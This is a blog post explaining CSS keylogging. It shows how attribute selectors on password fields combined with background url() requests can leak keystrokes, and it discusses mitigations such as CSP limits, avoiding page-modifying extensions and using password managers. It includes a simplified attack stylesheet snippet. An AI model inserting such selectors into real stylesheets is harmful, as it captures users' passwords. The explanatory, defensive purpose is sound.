by alxbl

CSS Keylogging and how to Mitigate it

March 01, 2018

I recently stumbled upon a fairly creative proof of concept for (ab)using Cascading Style Sheets to record a user’s keystrokes off a website. The sample code contains a server and a sample Chrome extension that forwards the content of password type input fields in a webpage. The sample itself is missing a few things to be usable by a bad guy, but all the ideas and ingredients are there, ripe for the picking.

This attack is especially dangerous because of the fact that it can run in any browser extension that has access to the HTML of your pages. The problem is amplified because most extensions that provide something useful will usually require access to one or more websites. A very bad and yet popular example of that are extensions that inject CSS for custom styling of webpages. These extensions provide something very attractive to users, and it is very easy to forget that whenever you install a user-style, you’re running user-submitted content in your browser.

Websites that let users customize their personal page with a CSS theme, like Reddit (sub-reddit themes), can trick you into signing-in to reddit after a visit to their page, thus sniffing your password as you type it.

I’ll first explain the concepts behind the attack and then show a simplified example of what the attack code might look like. Once that is out of the way, I will talk about possible mitigations for the attack.

How the Attack Works

The attack abuses a few CSS concepts which, by themselves, are completely harmless, but combined in a creative fashion, pave the way towards keylogging:

Attribute Selectors make it possible to target a specific node in the DOM tree based on an attribute and its value. This is useful for instance, when attempting to apply a style rule to all input fields of a same type: input[type="radio"]. There are multiple special comparator such as the ~= and $= comparators. The latter has the following interesting documentation:

Represents an element with an attribute name of attr whose value is suffixed (followed) by value.

Selector Chaining is the concept of chaining multiple selectors to create a more specific style rule. A good chaining example is the rule that says

#main input[type="radio"].valid {
/* ... */

which targets an input of type radio which has the class valid and is inside a node with an id of main.

url() Value Keywords which make it possible to reference static resources. In any property that accepts an image as a value, as is the case with the properties background and background-image, for example.

If the attack is not becoming clear yet, consider the following CSS snippet:

input[type="password"][value$="a"] {
background: url("somewhere.png");

This rule says the following:

For all inputs of type password that have a value ending in a, set the background to the image somewhere.png

All that one needs to do now is have one CSS rule per valid password character. Fortunately, for most websites, this is limited to ASCII printable characters, and as such all an attacker needs is 127 rules. The attack is possible because CSS does not restrict which URLs background-image has access to. More concretely,

input[type="password"][value$="a"] {
background: url("");

input[type="password"][value$="b"] {
background: url("");

/* ... all other ASCII characters ... */

This is the gist of the attack. It can be made more elaborate by capturing all input fields and, for instance, to record the username as well.

On the server, the requests do not have a lot of information, but time and delta-time between requests, along with the request originating IP address can be used and analyzed to reconstruct each field separately. Heuristics (or manual human intervention) can then be used to recover usernames and passwords.


The best way to prevent this problem would be at the server level with a concept similar to content security policy that disallows any url() property from getting sites outside of the trusted sources (e.g. and

Unfortunately, CSP itself cannot prevent the attack entirely since it does not provide a way to block url() requests or <link> tags that include user-controlled theme files.

The best ways to avoid being keylogged are as follows:

  1. Do not use extensions that have the right to modify all pages. This should be the very first step taken in order to protect yourself. If the extension can modify any page, there is nothing that prevents it from injecting malicious CSS into the page.

  2. If extensions are a necessity, make sure to disable them whenever you are about to do something sensitive like inputting credentials. Refreshing the page with the extension disabled will ensure that there is no extension-code loaded.

  3. Avoid inputting sensitive information on pages that allow their users to customize the stylesheet, as you don’t know what the CSS is doing.

  4. Use a password manager that automatically sets the value of input fields for you. If the password manager is setting the value directly, and the website is keylogged, this will only leak the last character of your password to the attacker. If your passwords are unique per web-site (as they should) and sufficiently strong, this last character should not have too significant of an impact.

As things stand right now, there is no foolproof protection against CSS keylogging, and it does not look like it will be landing any time soon. The best thing to do is to be wary of what is running in your browser and to remember that when running user controlled code, extra care must be taken, in the same way extra care must be taken when downloading executables from untrusted sources.